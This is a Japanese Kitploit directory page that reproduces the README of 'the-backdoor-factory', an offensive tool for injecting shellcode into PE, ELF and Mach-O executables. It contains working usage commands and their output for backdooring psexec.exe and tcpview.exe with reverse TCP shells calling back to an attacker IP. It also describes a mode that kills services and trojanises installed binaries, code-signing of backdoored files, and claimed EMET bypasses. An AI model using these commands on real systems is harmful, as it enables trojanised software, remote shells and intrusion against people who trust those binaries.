Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
the-backdoor-factory — シェルコードを使用してPE、ELF、Mach-Oバイナリにパッチを適用。新バージョンは開発中で、スポンサーのみ利用可能です。 | Kitploit
ツール/GitHubGitHub/secretsquirrel/the-backdoor-factory
エクスプロイトリバースエンジニアリングシェルコードポストエクスプロイトマルウェア分析ペネトレーションテストレッドチーミングペイロード開発バイナリエクスプロイト
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

シェルコードを使用してPE、ELF、Mach-Oバイナリにパッチを適用。新バージョンは開発中で、スポンサーのみ利用可能です。

3.4k7742年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
ウェブサイト

The new version of BACKDOOR FACTORY is available! Get access here: https://github.com/sponsors/secretsquirrel

WARNING: Pull Requests WILL BE IGNORED AND CLOSED.

The Backdoor Factory (BDF)

セキュリティ専門家と研究者のみを対象としています。

BDFの目的は、実行可能バイナリにユーザーが望むシェルコードをパッチとして埋め込み、パッチ適用前の状態の通常の実行を継続させることです。

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

root@kitploit:~
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

root@kitploit:~
Video: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

root@kitploit:~
Video: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

root@kitploit:~
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

開発者への連絡先:

root@kitploit:~
IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

BSD 3 Clause License に基づいています

wiki を参照: https://github.com/secretsquirrel/the-backdoor-factory/wiki


インストール

DOCKER

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###OLD SCHOOL

####依存関係 #####OnionDuke を使用するには、Intel マシン上でなければなりません。aPLib はまだ ARM チップセットをサポートしていないためです。

Capstone engine は PyPi からインストールできます:

root@kitploit:~
sudo pip install capstone

Pefile(最新版):

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode(リポジトリに同梱):

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Kali インストール:

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

その他の *NIX/MAC インストール:

root@kitploit:~
./install.sh

これにより Capstone 3.01 と、pefile をインストールするための pip がインストールされます。

アップデート:

root@kitploit:~
./update.sh

対応フォーマット:

root@kitploit:~
Windows PE x86/x64、ELF x86/x64 (System V、FreeBSD、ARM Little Endian x32)、
および Mach-O x86/x64 と、FAT ファイル内のこれらのフォーマット

パックされたファイル: PE UPX x86/x64

実験的サポート: OpenBSD x32 

一部の実行可能ファイルには組み込みの保護機能があるため、すべてのバイナリで動作するわけではありません。ターゲットバイナリをクライアントに配布する前や演習で使用する前に、テストすることをお勧めします。NSIS のバイパスにも取り組んでおり、これらのチェックのバイパスは今後含まれる予定です。

root@kitploit:~
Ryan O'Neill --ryan 'at' codeslum <d ot> org-- に多大な感謝を捧げます。
彼がいなければ、私は今でも ELF フォーマットで
愚かなことをしようとしていたでしょう。
また、これらの ELF パッチ技術の基礎となった
Silvio Cesare の 1998 年の論文 (http://vxheaven.org/lib/vsc01.html) にも感謝します。

最近、多くのバイナリでテスト済みです。

./backdoor.py -h Usage: backdoor.py [options]


##機能:

###PE ファイル

root@kitploit:~
EXE/DLL 内のすべてのコードケーブを見つけることができます。
デフォルトで、PE 証明書テーブルへのポインタをクリアし、バイナリの署名を無効化します。
コードケーブまたは新しいセクションにシェルコードを注入できます。
PE バイナリが昇格された特権で実行される必要があるかどうかを検出できます。
コードケーブを選択する際、以下のコマンドを使用できます:
  -Jump (j)、コードケーブジャンプ用
  -Single (s)、すべてのシェルコードを1つのケーブにパッチする用
  -Append (a)、コードケーブを作成する用
  -Ignore (iまたはq)、やめて、このバイナリを無視する
DLL を無視できます
インポートテーブルパッチ
自動パッチ (-m automtic)
Onionduke (-m onionduke)

###ELF ファイル

root@kitploit:~
TEXT SEGMENT を1000バイト拡張し、そのコードセクションにシェルコードを注入します。

###Mach-O ファイル Pre-Text セクションパッチと署名除去

###全体

root@kitploit:~
ユーザーは以下のことが可能です:
  -カスタムシェルコードを提供する。
  -実行可能ファイル/DLL のディレクトリにパッチを適用する。
  -x32 または x64 バイナリのみを選択してパッチする。
  -BDF を他の Python プロジェクトに含める(pebin.py と elfbin.py を参照)

サンプル使用法:

###既存のコードケーブを使用して exe/dll をパッチする:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###コードセクションを追加して exe/dll をパッチする:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###exe のディレクトリをパッチする: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...


###ユーザー指定のシェルコード: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin これにより、ターゲットの Windows ワークステーションで calc.exe が起動します。とても 1337 です。非常に pwn。すごい。


###PEコードサイニング

コードサイニング証明書があれば、BDF は PE ファイルに署名できます。osslsigncode を使用します。 署名証明書と秘密鍵を certs/ ディレクトリに置きます。このブログ記事の openssl コマンドを使用して証明書を準備します: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

秘密鍵のパスワードをファイルに(驚きですが)以下のように(正確にこのように)入れます:

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

証明書の名前を以下のように正確に付けます:

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

certs/ ディレクトリは以下のように正確に構成されている必要があります:

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

-C フラグで PE コードサイニングを有効にします:

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

正常に実行されると、BDF の出力に次の行が表示されます:

root@kitploit:~
[*] Code Signing Succeeded

###ハントアンドバックドア: インジェクター | Windows のみ インジェクターモジュールは、ディスク上でバックドアを仕込む対象の実行可能ファイルを探します。対象をサービスとして識別しているかどうかを確認し、プロセスが実行中かどうかを確認し、プロセスおよび/またはサービスを強制終了し、シェルコードを実行可能ファイルに注入し、元のファイルを file.exe.old または選択した別のサフィックスに保存し、プロセスまたはサービスの再起動を試みます。 対象を選択するには、'injector' モジュールの python 辞書 "list_of_targets" を編集します。

root@kitploit:~
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

###変更履歴

####01/11/2016

  • まれなケースで不適切な復元を引き起こしていたエントリポイント切り詰めのバグを修正

####07/04/2016

  • BDFProxy のプリプロセッサで動的パスをサポート

####06/19/2016

  • プリプロセッサとその他の最適化を追加
  • プリプロセッサにより、ペイロード注入前にバイナリを変更できます
  • -p フラグで呼び出します
  • サンプルは ./preprocessor/ を参照

####12/20/2015

  • certs ディレクトリを見つけるためのディレクトリパスを BDF に追加。

####12/18/2015

  • PE コードサイニングサポートを追加。独自のコードサイニング証明書を提供する必要があります。参照: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

  • onionduke パッチ用の rsrc セクションのバグ修正と、PE ヘッダー内のランダムな win32 バージョン値の削除

####11/13/2015

  • PE ヘッダーで署名ポインタがクリアされた後に PE ファイルを適切に切り詰める機能を追加 - 例: 適切な署名無効化。これにより IAT パッチのサポートが向上

####10/19/2015

  • BDF のクラッシュを引き起こしていた IAT ディレクトリケーブ割り当てのバグを修正
  • この機能を -A フラグでオプションにした

####10/13/2015

  • インポートテーブルディレクトリの変更を、新しいセクションの追加から既存のコードケーブの使用に変更

####08/12/2015

  • 提供されたバイナリをそのまま PE にコピーする 'replace' PATCH_METHOD を追加

  • 主に BDFProxy での使用向け

    Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

  • まれなケーブの重複に対する自動ケーブ選択の安定性修正

####08/05/2015

  • BH USA アップデート、w00t!
  • OnionDuke、-m onionduke を使用 * ユーザー提供の exe と dll をサポート * 使用法: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • XP MODE = 従来の IAT ベースのペイロードは XP、Wine、Windows 98 をサポートしていませんでした。XP をサポートする必要がある場合は -X フラグを使用してください。XP 未満(および XP x64 以外)はサポートしていません。
  • UAC プロンプトを呼び出して管理者として実行。実験的 - requestedExecutionLevel が存在する場合、PE マニフェストをパッチします。
  • 安定性の更新: * 2つ以上のコードケーブをまたいでジャンプする際の誤った RVA 計算のバグを修正 * IAT 用の新しいセクションが追加データに書き込まれ失敗するかどうかを判断するチェックを改善
  • 速度の改善: * 自動モード (-m automatic) 使用時のコードケーブ検出の高速化 * マニフェストファイルを見つけるための rsrc 解析の高速化

####5/01/2015

  • シングルケーブペイロード使用時の reverse_tcp_stager_threaded ペイロードのバグ修正

####4/28/2015

  • Bound Imports のチェックを追加(Bound imports を持つ PE ファイルはパッチされません)

####4/14/2015

たくさんのアップデート:

  • PE ファイルの自動パッチ (*_threaded ペイロードで -m automatic を使用)

  • x86/x64 PE ファイル用の新しい IAT ペイロード

  • 参照: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 みなさん大好きです

  • winAPI 呼び出しにインポートテーブルを使用する iat_reverse_tcp ペイロードをサポートするため、 PE へのインポートアドレステーブルパッチを追加。パッチ対象のバイナリに LoadLibraryA と GetProcAddress がない場合、例えば BDF はそれらを 新しいセクションの新しいインポートテーブルにパッチします。x64/x86 PE をサポートします。

  • x64 PE 用の iat_reverse_tcp を追加。

  • バグ修正と改善

####1/1/2015

あけましておめでとうございます!

2つの新しい OS X ペイロード! 遅延: delay_reverse_shell_tcp

-B 30 --> ペイロードを30秒遅延させ、メインコードはすぐに実行されます。

BDF に組み込むための capstone コミットの固定設定。capstone 'Next' リポジトリは BDF を壊します。

cython capstone 実装の null バイト切り詰め問題をサポートするための修正

####12/27/2014

payloadtests.py を追加

このスクリプトは backdoored にパッチ済みファイルを出力し、ユーザーが ペイロードを自由にテストできるようにします。各ペイロードタイプは使用するポートを 1ずつ増やします。

root@kitploit:~
Usage: payloadtest.py binary HOST PORT

####12/17/2014

x86 および x64 用の OS X ビーコニングペイロード: beaconing_reverse_shell_tcp

-B 15 --> ビーコン時間を15秒に設定

BDFProxy の OS X サポートのバグ修正

####10/11/2014

PE UPX パッチ追加

####9/26/2014

Mach-O x86/x64 追加

x86 IAT ペイロード最適化

####7/31/2014

ARM x32 LE ELF パッチサポート追加

####7/22/2014

FreeBSD x32 ELF パッチサポート追加

BSD 3 Clause License に変更

####7/13/2014

Capstone を組み込み: http://www.capstone-engine.org/

Capstone を追加する過程で、約500行のコードを削除しました。これはかなり素晴らしいことです。

loadliba_reverse_tcp を iat_reverse_tcp に改名。

速度のための小さな最適化。

####5/30/2014

新しい win86 シェルコードを追加: loadliba_reverse_tcp

  • Jared DeMott による以下の研究に基づく: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- 言及してくれた @bannedit0 に感謝。
  • このシェルコードは LoadLibraryA と GetProcAddress API を使用して、リバース TCP 接続に必要なすべての API を見つけます。Stephen Fewer の API ハッシュルックアップ(今も素晴らしい)はもう不要です。
  • ステルス性はありません。位置依存です。しかし結果は素晴らしいです(コードケーブジャンプ): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • EMET 4.1 をバイパスします。呼び出し元保護はこれを検出しません。
  • そのため、IAT 内の API に基づいてカスタムシェルコードでバイナリをパッチするアルゴリズムでこのアイデアをさらに発展させます。現在の win86 シェルコードのこのアイデアへの移植も含みます。
ツールをダウンロード